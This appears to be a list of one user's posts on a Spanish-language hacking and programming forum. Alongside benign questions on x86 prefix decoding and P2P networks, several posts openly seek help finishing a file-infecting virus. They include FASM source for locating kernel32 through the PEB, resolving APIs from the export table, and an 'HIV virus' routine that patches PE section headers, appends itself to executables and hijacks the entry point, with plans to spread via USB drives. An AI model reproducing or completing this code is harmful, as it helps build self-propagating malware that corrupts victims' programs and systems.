|
Mostrar Temas
|
Páginas: 1 2 [3] 4
|
21
|
Programación / ASM / Como decodificar prefijos de x86 instrucciones 32 bits apropiadamente???
|
en: 24 Septiembre 2014, 04:33 am
|
Hola, amigos. Estoy desarrollando un pequeño desensamblador en ensamblador (suena algo redundante, pero no lo es). Tengo una duda. Antes que nada, quiero decir que ya estoy leyendo los manuales de Intel y revisando páginas en internet. (Para que no digan que no investigo). El problema es el siguiente: Digamos tengo una instruccion X. ¿Como hago para saber si el primer byte que tengo en frente es un opcode en puro, un prefijo, o un opcode extendido?. Antes yo había tratado comparando el byte inicial con los valores asignados por Intel a los prefijos x86, pero ¿que pasa si la instruccion, de casualidad posee el mismo valor en hexadecimal que el prefijo?. Ah, ¿Será que alguien me puede aclarar si los prefijos cumplen el siguiente orden? ¿Y como hago para reconocer si debería ser un prefijo? Por que según Intel, los prefijos pueden ir en cualquier orden dentro de los 4 primeros bytes (me refiero, LOCK a veces preceder a un SEGMENT OVERRIDE o viceversa=. (Aunque la imagen anterior pareciera decirme lo contrario) Intel says: Groups 1 through 4 may be placed in any order relative to each other. Si alguien pudiera darme una mano con este problema, estaría muy agradecido. Sé que este tema es algo bastante extenso, pero pienso que aquí al menos podría recibir al menos una orientación. ¿o no? XD. ¿Será que alguien tiene un fragmento de codigo, que sea capaz de reconocer cuando el primer byte es un prefijo o un opcode? Gracias.
|
|
|
22
|
Programación / ASM / Problema al atrapar excepcion en ensamblador cambiando [fs:0] manualmente (FASM)
|
en: 14 Septiembre 2014, 03:51 am
|
Hola, estoy desarrollando un programa. El programa busca las APIs sin usar la import table, él programa usa GetProcAddress y LoadLibrary para encontrar todas las APIs que necesita. Pero hay un problema: NO LLAMA A MI EXCEPTION HANDLER CUANDO HAY UNA EXCEPCION!! El codigo, debería mostrar un mensaje "Exception catched!!" cuando haya una excepcion. Pero el programa sale sin más, aunque curiosamente, no crashea. Aún así la idea es que llame a mi manejador de excepciones, cosa que no hace Aquí está mi codigo. Está escrito en FASM format pe console 4.0 section '.text' readable writable executable start: call delta_offset ;Calculates the delta offset delta_offset: pop ebp ;Save the current address of the delta_offset routine in memory sub ebp, delta_offset ;Current address of delta_offset ´- address of delta_offset at compilation time ;is equal to current address of virus body in memory. Now we can access any part of ;data embebbed in the code using [ebp+variable] finding_kernel32: mov ebx, [FS : 0x30] ;FS:0x30 is a pointer to the address of Process Environment Block (PEB) ;Now the Base Pointer (BX) points to the address of PEB in memory mov ebx, [ebx + 0x0C] ;Now we move 0x0C (12 bytes) from the address of PEB ;We get the value of ebx+0x0c, in other words, the address that has the PEB->Ldr pointer ;Now we are in Ldr structure. We move the ebx pointer following the address in the ;PEB->Ldr pointer. mov ebx, [ebx + 0x14] ; get PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry) mov ebx, [ebx] ;2nd Entry mov ebx, [ebx] ;3rd Entry mov ebx, [ebx + 0x10] ; Get Kernel32 Base mov [ebp+dwKernelBase] , ebx add ebx, [ebx+0x3C] ; Start of PE header mov ebx, [ebx+0x78] ; RVA of export dir add ebx, [ebp+dwKernelBase] ; VA of export dir mov [ebp+dwExportDirectory] , ebx finding_address_of_getprocaddress: lea edx,[ebp+api_GetProcAddress] ;Load in ebp the address of the API function name. mov ecx,[ebp+len_GetProcAddress] ;Load in ecx the size of the API function name call GetFunctionAddress ;Call GetFunctionAddress mov [ebp+AGetProcAddressA] , eax ;The API function address in memory was stored by the ;GetFunctionAddress function in eax, now we save the address ;of the GetProcAddress in a variable for later use. finding_address_of_loadlibrary: lea edx,[ebp+api_LoadLibrary] ;Load in edx the API function name of LoadLibrary push edx ;edx could be a parameter for an API push dword [ebp+dwKernelBase] ;save in the stack the address of the kernel32 library ;dwKernelBase is used as handle call eax ;Calls a function by its address (eax stores it) ;Could be GetProcAddress because in the instruction in ;the line 39 it moves the address of that API from eax ;and eax has no changes until 47 line. loading_required_libraries: mov [ebp+ALoadLibraryA] , eax ;The last function could return the address of LoadLibrary in ;in eax. eax register could be used by the last function as a ;return value. ;Now the eax register contains the address of LoadLibrary lea edx , [ebp+szUser32] ;Loads in edx, the library name of User32.dll push edx ;Put the edx value in the stack as a parameter for LoadLibrary ;I believe that the function could be LoadLibrary because ;it is an API that requires a string that contains the name of ;the library that you want to load. call eax ;Call LoadLibrary API mov [ebp+hUser32], eax finding_addresses_of_apis: lea edx , [ebp+api_MessageBoxA] ;Loads in edx the address of the name of MessageBoxA API push edx ;Put the name of MessageBoxA as a parameter for a function push eax ;I belive that eax is a handle to the loaded library mov ebx,[ebp+AGetProcAddressA] ;Moves to ebx the address of GetProcAddressA call ebx ;Invokes GetProcAddressA using its address mov [ebp+AMessageBoxAA] , eax ;The last function (could be GetProcAddressA) returns the address of ;MessageBoxA in eax. We move the address of that API to a variable for ;later use. ;We start to search for functions inside ;kernel32.dll set_exception_handler: ;A simple way to set a exception handler, avoiding the ;use of APIs that increase the size of the release. push exception_handler push dword [FS:0] mov [FS:0], esp main: push 0 ;Put the HWND parameter lea edx,[ebp+szTitle] ;Put the caption of the MessageBox push edx lea edx,[ebp+szMsg] ;Put the message body of the MessageBox push edx push 0 ;Buttons type (For example MB_OK) call dword [ebp+AMessageBoxAA] ;Calls MessageBoxA API ;The following code tries to make many exceptions int3 ;Software breakpoints int3 int3 mov esi, 0 ;Access violation mov dword [esi], "fail" exit: ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; <<<<< GetFunctionAddress >>>>>> ; ; Extracts Function Address From Export Directory and returns it in eax ; ; Parameters : Function name in edx , Length in ecx ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; GetFunctionAddress: push ebx ;Save status of registers before execute the subroutine push esi ;to preserve its content. It could make some errors to the push edi ;caller function if modify the values that are common to the whole ;program mov esi, [ebp+dwExportDirectory] mov esi, [esi+0x20] ;RVA of ENT add esi, [ebp+dwKernelBase] ;VA of ENT xor ebx,ebx cld looper: inc ebx lodsd ;Load a byte from the string pointed by SI into al register add eax , [ebp+dwKernelBase] ;eax now points to the string of a function push esi ;preserve it for the outer loop mov esi,eax mov edi,edx cld ;The direction flag is clear, this means that the SI and DI pointers are ;incremented. (The instructions works to the forward direction) push ecx ;Save ecx. Why?? The next instruction named "repe" decrements the counter. ;Because the ecx contains the length of the API name, we need to save it. ;In other parts of subroutine the program uses ecx register to compare the function ;with the kernel export table. repe cmpsb ;Compare each byte of the array pointed by DS:SI with the array pointed by ES:DI ;Repeat until the counter is not equal to zero, in other words, ;it only stops when it find a difference or the counter reachs the end of the string pop ecx ;Pop the length of the string, and put it in the counter for another loop if it's needed pop esi ;Pop the last stack variable, and put it in esi. jne looper dec ebx mov eax,[ebp+dwExportDirectory] mov eax,[eax+0x24] ;RVA of EOT add eax,[ebp+dwKernelBase] ;VA of EOT movzx eax , word [ebx*2+eax] ;eax now holds the ordinal of our function mov ebx,[ebp+dwExportDirectory] mov ebx,[ebx+0x1C] ;RVA of EAT add ebx,[ebp+dwKernelBase] ;VA of EAT mov ebx,[eax*4+ebx] add ebx,[ebp+dwKernelBase] mov eax,ebx pop edi ;Restore the registers to avoid generate a problem pop esi ;in the caller function. pop ebx ret exception_handler: push 0 ;Put the HWND parameter lea edx,[ebp+szTitle] ;Put the caption of the MessageBox push edx lea edx,[ebp+szMsgException] ;Put the message body of the MessageBox push edx push 0 ;Buttons type (For example MB_OK) call dword [ebp+AMessageBoxAA] ;Calls MessageBoxA API ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Data Shit ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; szMsgException db 'Exception catched!!', 0 api_ExitProcess dd 0 szTitle: db "From the heaven",0 szMsg: db "Greetings from hell",0 szUser32 db "User32.dll",0 hUser32 dd 0 AGetProcAddressA: dd 0 api_GetProcAddress: db "GetProcAddress" len_GetProcAddress: dd $-api_GetProcAddress ALoadLibraryA: dd 0 api_LoadLibrary: db "LoadLibraryA",0 AMessageBoxAA: dd 0 api_MessageBoxA: db "MessageBoxA",0 dwKernelBase: dd 0 dwExportDirectory: dd 0
Intenté hacer el siguiente método: push exception_handler push dword [FS:0] mov [FS:0], esp
El metodo que describí funciona en este pequeño ejemplo (no es la aplicacion que estoy escribiendo): format pe console 4.0 ;on 'dos_stub.exe' include 'C:\fasm\INCLUDE\WIN32AX.inc' .data msg_caption db 'SEH handler', 0 msg_exception db 'I catched an exception!! Amazing!!', 0 .code main: ;A simple way to set a exception handler, avoiding the ;use of APIs that increase the size of the release. push exception_handler push dword [FS:0] mov [FS:0], esp mov esi, 0 mov dword [esi], "Pwnd" exit: invoke ExitProcess, 0 exception_handler: invoke MessageBox, NULL, addr msg_exception, addr msg_caption, MB_OK jmp exit ret .end main
Por que en el primer codigo no trabaja, mientras que en el segundo si lo hace??? Alguien puede decirme porqué??? Gracias de antemano, y perdon por hacerlos leer tanto. (XD). Ah, se me olvidaba, también intenté usar SetUnhandledExceptionFilter (API) para establecer mi funcion como manejador de excepciones, pero no funciono. ¿Será qué el uso que le doy a ciertos registros afecta lo que trato de hacer??
|
|
|
23
|
Programación / Programación General / Como hace un nodo de una red P2P para descubrir nuevos nodos sin usar un server?
|
en: 5 Septiembre 2014, 03:39 am
|
Hola, sé que ya pregunté antes, pero esta vez lo hago por una pregunta más especifica: ¿Como hace un peer (nodo) de una red P2P para descubrir otros nodos en la red?? (Sin usar un servidor central que asigne nodos de bootstrap).
Para que no digan que yo no investigo, estuve indagando con ayuda del buscador de la gran G, y basicamente me dice que necesito al menos un servidor que sea capaz de ofrecer informacion basica de la red hacia un nodo que apenas esta tomando contacto con la red.
¿Será que habrá alguna forma de lograr enganchar a la red P2P sin usar servidores centrales? Alguien puede decirme algun programa (preferiblemente open source), que sea capaz de hacer lo que deseo?
Por favor, si pueden explicarmelo estar{ia muy agradecido. Estoy desarrollando una red P2P como proyecto de hobby. Podría usarlo en la Universidad si me lo aceptan.
|
|
|
24
|
Programación / Programación General / ¿Alguien podría describirme como funciona una red P2P?
|
en: 5 Septiembre 2014, 01:16 am
|
Hola, quiero comenzar un programa capaz de crear una red P2P como Ares, Gnutella, entre muchos otros ejemplos. Pero no consigo una informacion más o menos sencilla sobre como empezar.
Aclaro que ya he trabajado con Sockets en Windows, esa parte básica ya la conozco bastante.
Disculpen si mi pregunta es demasiado general, es que necesito un poco de ayuda. He buscado en internet pero no dice una implementacion sencilla. Siempre son redes P2P de alta complejidad y con muchos añadidos. Yo solo quiero ligero y simple. Ya busque alternativas simples, pero no son simples. Había una, Tiny P2P, pero ya no es posible obtenerla porque borrar el codigo de donde lo albergaban.
Por favor, ayudenme. Gracias por su ayuda.
|
|
|
26
|
Seguridad Informática / Análisis y Diseño de Malware / Como sobrescribir la sección .text de un EXE para poner alli un virus???
|
en: 25 Agosto 2014, 23:29 pm
|
Hola, estoy desarrollando un virus sencillo que sobreescribe la sección .text. El virus, cuando está en su primera generacion, funciona aparentemente bien.
Use OllyDbg para ver si había inyectado el codigo dentro del ejecutable, y si lo hizo. Pero cuando ejecuto el archivo infectado, el virus crashea.
Quiero aclarar algo: Estoy usando un metodo para buscar las APIs usando su direccion (solo con GetProcAddress y LoadLibrary). El metodo funciona perfecto, por esa razon no quiero que piense que falta alguna dependencia o por el estilo.
Por favor ayudenme. Diganme como hacer para que el virus en su segunda generacion funcione. Ya he estado buscando por toda la internet, y no he podido buscar la forma de hacerlo. Ya visite VXHeavens, la pagina referente en materia de virus, pero aun asi no encuentro como hacerlo.
Gracias de antemano.
|
|
|
27
|
Programación / ASM / Como obtener el handle de kernel32 library???
|
en: 24 Agosto 2014, 23:01 pm
|
Hola, estoy escribiendo un virus sencillo. El virus ya es capaz de encontrar kernel32 en memoria y busca desde la export table las APIs que necesita. Pero hay un problema: GetProcAddress exige como parametro un handle hacia una libreria previamente cargada por LoadLibrary. Pero kernel32 ya viene cargado por defecto, entonces, como hago para obtener el handle??
O será que puedo pasar el nombre de la funcion deseada a GetProcAddress sin preocuparme por ello? Gracias de antemano por sus respuestas
|
|
|
28
|
Foros Generales / Sugerencias y dudas sobre el Foro / Hace falta completar la wiki
|
en: 23 Agosto 2014, 20:35 pm
|
Hola, no sé si este será un buen lugar para dejar mi post, pero deberían de completar la wiki. Podría colaborarles a completarla en cuanto aprenda bastante, porque hace falta que todos los conocimientos que están albergados en este foro sean compilados en un solo lugar, facil de ubicar, que permita a los principiantes iniciar en la creacion de malware y hacking en general(propositos educativos).
|
|
|
29
|
Seguridad Informática / Análisis y Diseño de Malware / Como establecer el tamaño del EXE en los PE Header correctamente??
|
en: 23 Agosto 2014, 18:18 pm
|
Hola, estoy desarrollando mi primer virus simple. El virus se añade al final de la ultima sección del ejecutable, (.text). Pero hay problema, el tamaño que esta guardado dentro del ejecutable (según mi herramienta CFF Explorer VIII, hecha por NTCore) no coincide con su tamaño fisico. Yo sé que existe algo llamado tamaño fisico (physical size) y tamaño virtual (virtual size).
He leido bastante la documentacion de Microsoft, no he podido encontrar como modificar y establecer correctamente los valores de esos campos, ni siquiera sé en donde están posicionados dentro de la cabeceras internas del ejecutable porque no puedo verlos usando mi herramienta (comentada anteriormente).
Si alguien pudiera decirme en que offset estan esos campos y como modificarlos adecuadamente para reflejar los cambios hechos por mi virus, estaría muy agradecido.
Gracias de antemano por sus respuestas.
|
|
|
30
|
Programación / ASM / Me rindo. Mi codigo no quiere modificar el PE Header, y cuando lo intenta, falla
|
en: 22 Agosto 2014, 23:15 pm
|
Hola, sé que ya he publicado otro post anterior, pero he decidido abrir uno nuevo en donde pueda explicar mejor mi problema. Antes que nada, el codigo está escrito en FASM, para que lo puedan compilar. El problema está en la rutina infect_file. Cuando llega al punto de modificar el PE Header en memoria, falla. Lo he comentado en ingles, porque pienso que es mejor. No sé si será algun impedimento para que me puedan ayudar. Por favor, es lo unico que me falta para terminar mi proyecto de malware. Gracias por sus respuestas ;This is a stub of the HIV virus. ;It works properly. This is only the infection routines. ;The idea is make the infection module here, and after glue it with ;the payload and another modules. ;The infection module must explore all USB removable drives ;and search in them for executables to infect. format pe console 4.0 include 'C:\fasm\INCLUDE\WIN32AX.INC' virus_size_before_compilation equ (end_of_file-main) GENERIC_READWRITE equ 0C0000000h ; Declare a macro to make buffers macro dup label,lcount { forward label#: common repeat lcount forward db 0 common end repeat } section '.text' readable writable executable main: call delta delta: pop ebp sub ebp, delta adjust_datasegment: ;push cs ;pop ds ;push cs ;pop es explore_directory: ;Push parameters for the function push FIND_STRUCT ;Put in the stack the address of FIND_STRUCT push file_extension ;File extension call [FindFirstFileA] ; find the first *.fly ;Always, remember that the API address can be founded using ;brackets in the API name, like this [FindFirstFile] ;invoke FindFirstFile,file_extension, FIND_STRUCT mov dword [find_handle], eax ;Save find handler returned by FindFirstFile find_more_files: cmp eax, 0 je exit call infect_file findnextfile: push FIND_STRUCT push dword[find_handle] ;I believe that the FindNextFile function expects ;the address of the find_handle, instead its value. call [FindNextFile] ;invoke FindNextFile, dword [find_handle], FIND_STRUCT jmp find_more_files infect_file: ;----------------------------------------------------------------------- ;When you work with files, You must be sure that the file was ;successfully opened. If you use an incorrect or invalid mode opening, ;you'll see that you can not retrieve data from the file. To see if ;you've really recovered bytes from the file, type in the file a text ;string and show it using MessageBox API. ;------------------------------------------------------------------------ ;invoke CreateFile, cFileName, 4, 0, 0, 4, FILE_ATTRIBUTE_NORMAL, 0 ;invoke WriteFile, eax, sign, 22, byteswritten, 0 ;invoke CloseHandle, eax ;I use the 4 for the open mode because it means "Read/Write". ;I open the file and Get its filesize for later use. ;The handle was stored in eax by the API invoke CreateFile, cFileName, GENERIC_READ, 0, 0, 4, FILE_ATTRIBUTE_NORMAL, 0 mov [file_handle], eax ;I get the filesize of the host, and move it to a variable. ;This data could be interesting in a near future invoke GetFileSize, [file_handle], 0 mov [host_size], eax ;Calculates the possible new size of the executable ;add eax, virus_size ;mov [infected_size], eax ;Read 8000 bytes from the file invoke ReadFile, [file_handle], buffer, 8000, bytesread, 0 ; Now read the full file ;Debugging purpouses. invoke MessageBox, NULL, addr msg, addr msg_caption, MB_OK ; Easy way of outputing the text invoke MessageBox, NULL, addr cFileName, addr msg_caption, MB_OK ;You must verify that the API has successfully opened and read bytes from the file invoke MessageBox, NULL, addr buffer, addr msg_caption, MB_OK lea edx, [buffer] ;Load in edx the address of buffer ;I use the edx register as a pointer to the buffer. ;Now I am in the DOS header. cmp word [edx], "MZ" ;Check if the file is a real executable jnz bad_executable add edx, [edx+60] ;This instruction modify the pointer. ;Now the edx register points to a position ;60 bytes (3C in hex) after the begin of buffer ;Now I am in the PE Header cmp word [edx], "PE" ;I check if the executable has a valid PE header ;This is very useful to know if I am infecting ;an old DOS program instead a Win32 executable. jnz bad_executable call good_executable ;After this point, the program crashes in somewhere of the code mov esi, edx ; esi = peheader add esi, 120 ; esi = dirheader mov eax, [edx+116] ; eax = number of dir entries shl eax, 3 ; eax = eax*8 add esi, eax ; esi = first section header movzx eax, word [edx+6] ; eax = number of sections dec eax ; eax = eax-1 imul eax,eax,40 add esi, eax ; esi = ptr to last section header or byte [esi+39], 0F0h ; give section necessary rights mov ecx, virus_size ; ecx = size of virus mov ebx, [esi+16] ; ebx = physical size of section add [esi+16], ecx ; increase section physical size add [esi+8], ecx ; increase section virtual size push dword [esi+8] ; push section virtual size pop dword [edx+80] ; imagesize = section virtual size mov eax, [esi+12] ; eax = section rva add [edx+80], eax ; add it to the imagesize add edi, [esi+20] ; edi = section offset add edi, ebx ; edi = end of section add eax, ebx ; eax = rva of virus xchg [edx+40], eax ; swap it with old entrypoint add eax, [edx+52] ; add imagebase to it mov [ebp+OldEip], eax ; save it lea esi, [ebp+main] ; esi = virus start rep movsb ; edi = ptr to end of file clc ; indicate sucess invoke MessageBox, NULL, addr end_message, addr msg_caption, MB_OK ret good_executable: invoke MessageBox, NULL, addr msg_found, addr msg_caption, MB_OK ret bad_executable: invoke MessageBox, NULL, addr msg_not_found, addr msg_caption, MB_OK ret exit: invoke ExitProcess, 0 ;---------------------------------------------------------------------- ; In this place you can find all variables and constants used ;by the HIV virus. Please, always try to put the needed variables here ;----------------------------------------------------------------------- datazone: ;This buffer will store parts of the whole file. buffer rb 8000 ;Strings zone... end_message db 'The file was sucessfully infected...', 0 msg_found db 'I have found a Real EXE!!!...', 0 msg_not_found db 'The current exe file is invalid...', 0 file_signal db 'X' end_msg db 'End of program', 0 msg db 'File founded', 0 msg_caption db 'Assembly program...', 0 sign db 'Sorry, You have HIV...', 0 byteswritten dd ? bytesread dd ? ;Variables needed by the infection function file_handle dd ? host_size dd ? map_handle dd ? infected_size dd ? virus_size dd virus_size_before_compilation OldEip dd ? ;Variables used by the FindFirstFile and FindNextFile file_extension db '*.fly', 0 find_handle dd 0 ; handles/other stuff.. FIND_STRUCT: ; find structure used with searching dwFileAttributes dd 0 ftCreationTime dd 0,0 ftLastAccessTime dd 0,0 ftLastWriteTime dd 0,0 nFileSizeHigh dd 0 nFileSizeLow dd 0 dwReserved0 dd 0 dwReserved1 dd 0 dup cFileName, 256 ; found file buffer dup cAlternate, 14 end_of_file: .end main
|
|
|
|
|
|
|